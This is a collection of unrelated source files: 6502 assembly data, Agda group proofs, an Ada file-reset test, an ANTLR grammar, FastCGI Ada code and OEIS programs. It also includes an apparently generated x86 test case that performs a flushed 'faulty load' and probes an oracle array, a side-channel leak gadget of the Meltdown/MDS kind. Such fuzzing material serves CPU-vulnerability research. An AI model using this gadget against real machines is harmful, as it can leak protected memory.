byte $0,$0,$80,$40,$21,$62,$c4,$88,$10,$a0,$c0,$b0,$c8,$e6,$fe,$fc,$f8,$70,$20,$0,$0,$0,$0,$0; 24
byte $0,$84,$48,$28,$34,$1e,$1f,$f,$1f,$1f,$7f,$ff,$9f,$f,$1,$0,$2,$1,$1,$2,$4,$8,$0,$0; 24
byte $0,$0,$0,$0,$0,$1,$3d,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$f3,$fc,$f0,$f8,$3c,$1c,$1e,$c,$12,$12; 24
byte $0,$20,$48,$48,$91,$92,$24,$e8,$d0,$a0,$c0,$c0,$fc,$e3,$ff,$fe,$7c,$38,$10,$0,$0,$0,$0,$0; 24
byte $0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0,$0; 24
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Set up the 6502 interrupt vector table
;
ORG IntVectors
NMI word Cart_Init
Reset word Cart_Init
IRQ word Cart_Init
END
|
Cubical/Algebra/Group/Properties.agda
|
thomas-lamiaux/cubical
| 0
|
13637
|
{-# OPTIONS --safe #-}
module Cubical.Algebra.Group.Properties where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.Structure
open import Cubical.Foundations.GroupoidLaws hiding (assoc)
open import Cubical.Data.Sigma
open import Cubical.Algebra.Semigroup
open import Cubical.Algebra.Monoid.Base
open import Cubical.Algebra.Group.Base
private
variable
ℓ : Level
G : Type ℓ
isPropIsGroup : (1g : G) (_·_ : G → G → G) (inv : G → G)
→ isProp (IsGroup 1g _·_ inv)
isPropIsGroup 1g _·_ inv =
isOfHLevelRetractFromIso 1 IsGroupIsoΣ
(isPropΣ (isPropIsMonoid 1g _·_)
λ mono → isProp× (isPropΠ λ _ → mono .is-set _ _)
(isPropΠ λ _ → mono .is-set _ _))
where
open IsMonoid
module GroupTheory (G : Group ℓ) where
open GroupStr (snd G)
abstract
·CancelL : (a : ⟨ G ⟩) {b c : ⟨ G ⟩} → a · b ≡ a · c → b ≡ c
·CancelL a {b} {c} p =
b ≡⟨ sym (·IdL b) ∙ cong (_· b) (sym (·InvL a)) ∙ sym (·Assoc _ _ _) ⟩
inv a · (a · b) ≡⟨ cong (inv a ·_) p ⟩
inv a · (a · c) ≡⟨ ·Assoc _ _ _ ∙ cong (_· c) (·InvL a) ∙ ·IdL c ⟩
c ∎
·CancelR : {a b : ⟨ G ⟩} (c : ⟨ G ⟩) → a · c ≡ b · c → a ≡ b
·CancelR {a} {b} c p =
a ≡⟨ sym (·IdR a) ∙ cong (a ·_) (sym (·InvR c)) ∙ ·Assoc _ _ _ ⟩
(a · c) · inv c ≡⟨ cong (_· inv c) p ⟩
(b · c) · inv c ≡⟨ sym (·Assoc _ _ _) ∙ cong (b ·_) (·InvR c) ∙ ·IdR b ⟩
b ∎
invInv : (a : ⟨ G ⟩) → inv (inv a) ≡ a
invInv a = ·CancelL (inv a) (·InvR (inv a) ∙ sym (·InvL a))
inv1g : inv 1g ≡ 1g
inv1g = ·CancelL 1g (·InvR 1g ∙ sym (·IdL 1g))
1gUniqueL : {e : ⟨ G ⟩} (x : ⟨ G ⟩) → e · x ≡ x → e ≡ 1g
1gUniqueL {e} x p = ·CancelR x (p ∙ sym (·IdL _))
1gUniqueR : (x : ⟨ G ⟩) {e : ⟨ G ⟩} → x · e ≡ x → e ≡ 1g
1gUniqueR x {e} p = ·CancelL x (p ∙ sym (·IdR _))
invUniqueL : {g h : ⟨ G ⟩} → g · h ≡ 1g → g ≡ inv h
invUniqueL {g} {h} p = ·CancelR h (p ∙ sym (·InvL h))
invUniqueR : {g h : ⟨ G ⟩} → g · h ≡ 1g → h ≡ inv g
invUniqueR {g} {h} p = ·CancelL g (p ∙ sym (·InvR g))
invDistr : (a b : ⟨ G ⟩) → inv (a · b) ≡ inv b · inv a
invDistr a b = sym (invUniqueR γ) where
γ : (a · b) · (inv b · inv a) ≡ 1g
γ = (a · b) · (inv b · inv a)
≡⟨ sym (·Assoc _ _ _) ⟩
a · b · (inv b) · (inv a)
≡⟨ cong (a ·_) (·Assoc _ _ _ ∙ cong (_· (inv a)) (·InvR b)) ⟩
a · (1g · inv a)
≡⟨ cong (a ·_) (·IdL (inv a)) ∙ ·InvR a ⟩
1g ∎
congIdLeft≡congIdRight : (_·G_ : G → G → G) (-G_ : G → G)
(0G : G)
(rUnitG : (x : G) → x ·G 0G ≡ x)
(lUnitG : (x : G) → 0G ·G x ≡ x)
→ (r≡l : rUnitG 0G ≡ lUnitG 0G)
→ (p : 0G ≡ 0G) →
cong (0G ·G_) p ≡ cong (_·G 0G) p
congIdLeft≡congIdRight _·G_ -G_ 0G rUnitG lUnitG r≡l p =
rUnit (cong (0G ·G_) p)
∙∙ ((λ i → (λ j → lUnitG 0G (i ∧ j)) ∙∙ cong (λ x → lUnitG x i) p ∙∙ λ j → lUnitG 0G (i ∧ ~ j))
∙∙ cong₂ (λ x y → x ∙∙ p ∙∙ y) (sym r≡l) (cong sym (sym r≡l))
∙∙ λ i → (λ j → rUnitG 0G (~ i ∧ j)) ∙∙ cong (λ x → rUnitG x (~ i)) p ∙∙ λ j → rUnitG 0G (~ i ∧ ~ j))
∙∙ sym (rUnit (cong (_·G 0G) p))
|
programs/streamplay/wavefile2.asm
|
chaos4ever/chaos-old
| 0
|
81211
|
global wavefile2, wavefile2_end
wavefile2:
incbin "wavefile2.wav"
wavefile2_end:
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce2111f.ada
|
best08618/asylo
| 7
|
8756
|
-- CE2111F.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT A SUCCESSFUL RESET POSITIONS THE FILE CORRECTLY
-- TO THE START OF THE FILE FOR SEQUENTIAL IO.
-- APPLICABILITY CRITERIA:
-- THIS TEST IS APPLICABLE ONLY TO IMPLEMENTATIONS WHICH SUPPORT
-- RESET FOR SEQUENTIAL FILES.
-- HISTORY:
-- JLH 08/03/87 CREATED ORIGINAL TEST.
WITH REPORT; USE REPORT;
WITH SEQUENTIAL_IO;
PROCEDURE CE2111F IS
PACKAGE SEQ_IO IS NEW SEQUENTIAL_IO (INTEGER);
USE SEQ_IO;
TEST_FILE_ONE : SEQ_IO.FILE_TYPE;
DATUM : INTEGER;
INCOMPLETE : EXCEPTION;
BEGIN
TEST ("CE2111F", "CHECK THAT SUCCESSFUL RESET POSITIONS THE " &
"FILE CORRECTLY");
-- CREATE AND INITIALIZE TEST FILE
BEGIN
CREATE (TEST_FILE_ONE, OUT_FILE, LEGAL_FILE_NAME);
EXCEPTION
WHEN USE_ERROR =>
NOT_APPLICABLE ("USE_ERROR RAISED ON CREATE");
RAISE INCOMPLETE;
WHEN NAME_ERROR =>
NOT_APPLICABLE ("NAME_ERROR RAISED ON CREATE");
RAISE INCOMPLETE;
END;
WRITE (TEST_FILE_ONE, 5);
WRITE (TEST_FILE_ONE, 6);
-- CHECK THAT RESET POSITIONS INDEX CORRECTLY FOR OUT_FILE
BEGIN
RESET (TEST_FILE_ONE);
EXCEPTION
WHEN USE_ERROR =>
NOT_APPLICABLE ("RESET NOT SUPPORTED FOR OUT_FILE");
RAISE INCOMPLETE;
END;
-- WRITE MORE DATA
WRITE (TEST_FILE_ONE, 2);
CLOSE (TEST_FILE_ONE);
-- NOW CHECK TO SEE THAT RESET WORKED FOR OUT_FILE
BEGIN
OPEN (TEST_FILE_ONE, IN_FILE, LEGAL_FILE_NAME);
EXCEPTION
WHEN USE_ERROR =>
NOT_APPLICABLE ("SEQ_IO NOT SUPPORTED FOR IN_FILE OPEN");
RAISE INCOMPLETE;
END;
READ (TEST_FILE_ONE, DATUM);
IF DATUM /= 2 THEN
FAILED ("RESET INCORRECTLY POSITIONED FILE FOR OUT_FILE");
END IF;
-- RESET IN_FILE
BEGIN
RESET (TEST_FILE_ONE);
EXCEPTION
WHEN USE_ERROR =>
NOT_APPLICABLE ("RESET NOT SUPPORTED FOR IN_FILE");
RAISE INCOMPLETE;
END;
-- VALIDATE IN_FILE RESET
READ (TEST_FILE_ONE, DATUM);
IF DATUM /= 2 THEN
FAILED ("RESET INCORRECTLY POSITIONED FILE FOR IN_FILE");
END IF;
-- DELETE TEST FILE
BEGIN
DELETE (TEST_FILE_ONE);
EXCEPTION
WHEN USE_ERROR =>
NULL;
END;
RESULT;
EXCEPTION
WHEN INCOMPLETE =>
RESULT;
END CE2111F;
|
tests/grammars/Whitespace.g4
|
vglavnyy/grammarinator
| 1
|
6765
|
<reponame>vglavnyy/grammarinator<gh_stars>1-10
/*
* Copyright (c) 2017 <NAME>, <NAME>.
*
* Licensed under the BSD 3-Clause License
* <LICENSE.rst or https://opensource.org/licenses/BSD-3-Clause>.
* This file may not be copied, modified, or distributed except
* according to those terms.
*/
/*
* This test checks whether the simple space transformer properly inserts spaces
* in the output of generator. (If the transformer misbehaves, the ID rule will
* consume all characters in the ANTLR-generated lexer and the parser will not
* be able to match the input to the start rule.)
*/
// TEST-PROCESS: {grammar}.g4 -o {tmpdir}
// TEST-GENERATE: -p {grammar}Unparser -l {grammar}Unlexer -r start -t grammarinator.runtime.simple_space_transformer -o {tmpdir}/{grammar}%d.txt
// TEST-ANTLR: {grammar}.g4 -o {tmpdir}
// TEST-PARSE: -p {grammar}Parser -l {grammar}Lexer -r start {tmpdir}/{grammar}%d.txt
grammar Whitespace;
start: 'keywords' 'must' 'be' 'separated' 'by' 'whitespace';
ID: [a-z]+;
WHITESPACE: [ \t\r\n] -> skip;
|
Groups/Orders/Partial/Definition.agda
|
Smaug123/agdaproofs
| 4
|
11723
|
{-# OPTIONS --safe --warning=error --without-K #-}
open import Groups.Definition
open import Setoids.Orders.Partial.Definition
open import Setoids.Setoids
open import Functions.Definition
open import Agda.Primitive using (Level; lzero; lsuc; _⊔_)
module Groups.Orders.Partial.Definition {n m : _} {A : Set n} {S : Setoid {n} {m} A} {_+_ : A → A → A} (G : Group S _+_) where
open Group G
open Setoid S
record PartiallyOrderedGroup {p : _} {_<_ : Rel {_} {p} A} (pOrder : SetoidPartialOrder S _<_) : Set (lsuc n ⊔ m ⊔ p) where
field
orderRespectsAddition : {a b : A} → (a < b) → (c : A) → (a + c) < (b + c)
|
Task/Assertions/Ada/assertions-1.ada
|
LaudateCorpus1/RosettaCodeData
| 1
|
24221
|
pragma Assert (A = 42, "Oops!");
|
source/web/fastcgi/fastcgi-replies.adb
|
svn2github/matreshka
| 24
|
8666
|
<reponame>svn2github/matreshka
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the <NAME>, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with League.Text_Codecs;
package body FastCGI.Replies is
------------------
-- Error_Stream --
------------------
function Error_Stream
(Self : Reply)
return not null access Ada.Streams.Root_Stream_Type'Class is
begin
return null;
end Error_Stream;
--------------------
-- Has_Raw_Header --
--------------------
function Has_Raw_Header
(Self : Reply;
Name : League.Stream_Element_Vectors.Stream_Element_Vector)
return Boolean is
begin
return False;
end Has_Raw_Header;
----------------
-- Raw_Header --
----------------
function Raw_Header
(Self : Reply;
Name : League.Stream_Element_Vectors.Stream_Element_Vector)
return League.Stream_Element_Vectors.Stream_Element_Vector is
begin
return League.Stream_Element_Vectors.Empty_Stream_Element_Vector;
end Raw_Header;
----------
-- Read --
----------
overriding procedure Read
(Self : in out Output_Stream;
Item : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset) is
begin
null;
end Read;
----------------------
-- Set_Content_Type --
----------------------
procedure Set_Content_Type
(Self : in out Reply;
Value : League.Strings.Universal_String)
is
Codec : League.Text_Codecs.Text_Codec
:= League.Text_Codecs.Codec
(League.Strings.To_Universal_String ("utf-8"));
begin
Self.Set_Raw_Header
(Codec.Encode (League.Strings.To_Universal_String ("Content-type")),
Codec.Encode (Value));
end Set_Content_Type;
--------------------
-- Set_Raw_Header --
--------------------
procedure Set_Raw_Header
(Self : in out Reply;
Name : League.Stream_Element_Vectors.Stream_Element_Vector;
Value : League.Stream_Element_Vectors.Stream_Element_Vector) is
begin
Self.Descriptor.Reply_Headers.Include (Name, Value);
end Set_Raw_Header;
------------
-- Stream --
------------
function Stream
(Self : Reply)
return not null access Ada.Streams.Root_Stream_Type'Class is
begin
return Self.Out_Stream;
end Stream;
-----------
-- Write --
-----------
overriding procedure Write
(Self : in out Output_Stream;
Item : Ada.Streams.Stream_Element_Array)
is
use type Ada.Streams.Stream_Element_Array;
Aux : constant Ada.Streams.Stream_Element_Array
:= Self.Descriptor.Stdout.To_Stream_Element_Array;
begin
Self.Descriptor.Stdout :=
League.Stream_Element_Vectors.To_Stream_Element_Vector (Aux & Item);
end Write;
end FastCGI.Replies;
|
Library/SpecUI/CommonUI/CSpec/cspecTextEdit.asm
|
steakknife/pcgeos
| 504
|
8829
|
<reponame>steakknife/pcgeos
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec
FILE: cspecTextEdit.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildTextEdit Convert a text edit to the OL equivalent
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
DESCRIPTION:
$Id: cspecTextEdit.asm,v 1.1 97/04/07 10:50:56 newdeal Exp $
------------------------------------------------------------------------------@
Nuked. 7/ 7/92 cbh
|
oeis/101/A101202.asm
|
neoneye/loda-programs
| 11
|
164956
|
<filename>oeis/101/A101202.asm<gh_stars>10-100
; A101202: Multiples of 142857.
; 142857,285714,428571,571428,714285,857142,999999,1142856,1285713,1428570,1571427,1714284,1857141,1999998,2142855,2285712,2428569,2571426,2714283,2857140,2999997,3142854,3285711,3428568,3571425,3714282,3857139,3999996,4142853,4285710,4428567,4571424,4714281,4857138,4999995,5142852,5285709,5428566,5571423,5714280,5857137,5999994,6142851,6285708,6428565,6571422,6714279,6857136,6999993,7142850,7285707,7428564,7571421,7714278,7857135,7999992,8142849,8285706,8428563,8571420,8714277,8857134,8999991
mul $0,142857
add $0,142857
|
oeis/017/A017073.asm
|
neoneye/loda-programs
| 11
|
104283
|
<gh_stars>10-100
; A017073: a(n) = (8*n)^9.
; 0,134217728,68719476736,2641807540224,35184372088832,262144000000000,1352605460594688,5416169448144896,18014398509481984,51998697814228992,134217728000000000,316478381828866048,692533995824480256,1423311812421484544,2773078757450186752,5159780352000000000,9223372036854775808,15916595351771938816,26623333280885243904,43310409649448026112,68719476736000000000,106606463247835987968,162036931496379416576,241746618002717016064,354577405862133891072,512000000000000000000,728735647959800086528
pow $0,9
mul $0,134217728
|
tools-src/gnu/gcc/gcc/ada/a-tiocst.ads
|
enfoTek/tomato.linksys.e2000.nvram-mod
| 80
|
23836
|
------------------------------------------------------------------------------
-- --
-- GNAT RUNTIME COMPONENTS --
-- --
-- A D A . T E X T _ I O . C _ S T R E A M S --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992,1993,1994,1995 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package provides an interface between Ada.Text_IO and the
-- C streams. This allows sharing of a stream between Ada and C or C++,
-- as well as allowing the Ada program to operate directly on the stream.
with Interfaces.C_Streams;
package Ada.Text_IO.C_Streams is
package ICS renames Interfaces.C_Streams;
function C_Stream (F : File_Type) return ICS.FILEs;
-- Obtain stream from existing open file
procedure Open
(File : in out File_Type;
Mode : in File_Mode;
C_Stream : in ICS.FILEs;
Form : in String := "");
-- Create new file from existing stream
end Ada.Text_IO.C_Streams;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_571.asm
|
ljhsiun2/medusa
| 9
|
171219
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x79ce, %r10
nop
xor $65031, %rbp
mov $0x6162636465666768, %r8
movq %r8, %xmm4
and $0xffffffffffffffc0, %r10
movaps %xmm4, (%r10)
sub %r11, %r11
lea addresses_WC_ht+0xf4be, %rsi
clflush (%rsi)
nop
nop
nop
xor %r14, %r14
vmovups (%rsi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r10
nop
nop
sub $18215, %rsi
lea addresses_A_ht+0xa19e, %rsi
lea addresses_A_ht+0x699e, %rdi
nop
nop
nop
nop
nop
inc %r10
mov $34, %rcx
rep movsl
dec %r14
lea addresses_A_ht+0x12a7e, %r8
inc %rcx
movb (%r8), %r14b
nop
nop
nop
and %r10, %r10
lea addresses_WC_ht+0x18d06, %r8
nop
nop
nop
nop
cmp $47583, %rcx
mov (%r8), %rsi
nop
nop
inc %rsi
lea addresses_D_ht+0x16c9e, %rsi
lea addresses_UC_ht+0x1acbe, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $26884, %rbp
mov $124, %rcx
rep movsq
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x1d79e, %rbp
clflush (%rbp)
add $62530, %r11
mov $0x6162636465666768, %r8
movq %r8, %xmm5
movups %xmm5, (%rbp)
nop
nop
dec %rbp
lea addresses_A_ht+0x119e, %rsi
sub %r14, %r14
mov (%rsi), %ecx
nop
nop
and %r11, %r11
lea addresses_WT_ht+0xb52e, %rsi
lea addresses_WC_ht+0x18cd7, %rdi
nop
nop
nop
nop
inc %r10
mov $72, %rcx
rep movsw
nop
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0x1da78, %r14
nop
nop
nop
and $55327, %r11
vmovups (%r14), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r8
nop
cmp $61023, %rcx
lea addresses_D_ht+0x1ab9e, %rsi
lea addresses_UC_ht+0xcabe, %rdi
nop
nop
nop
inc %r14
mov $4, %rcx
rep movsl
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r8
push %r9
push %rax
push %rcx
// Store
lea addresses_A+0x1f9e, %r9
nop
nop
nop
nop
nop
add %rax, %rax
movb $0x51, (%r9)
nop
nop
nop
nop
sub %r14, %r14
// Store
mov $0x1ec, %r15
nop
nop
add %r11, %r11
mov $0x5152535455565758, %rax
movq %rax, (%r15)
nop
xor $6777, %r8
// Faulty Load
lea addresses_D+0xc59e, %r8
clflush (%r8)
nop
nop
nop
and $56528, %rax
movups (%r8), %xmm4
vpextrq $1, %xmm4, %r11
lea oracles, %r14
and $0xff, %r11
shlq $12, %r11
mov (%r14,%r11,1), %r11
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
agda-stdlib/src/Data/Vec/Bounded/Base.agda
|
DreamLinuxer/popl21-artifact
| 5
|
9373
|
------------------------------------------------------------------------
-- The Agda standard library
--
-- Bounded vectors, basic types and operations
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Vec.Bounded.Base where
open import Level using (Level)
open import Data.Nat.Base
import Data.Nat.Properties as ℕₚ
open import Data.List.Base as List using (List)
open import Data.List.Extrema ℕₚ.≤-totalOrder
open import Data.List.Relation.Unary.All as All using (All)
import Data.List.Relation.Unary.All.Properties as Allₚ
open import Data.List.Membership.Propositional using (mapWith∈)
open import Data.Product using (∃; _×_; _,_; proj₁; proj₂)
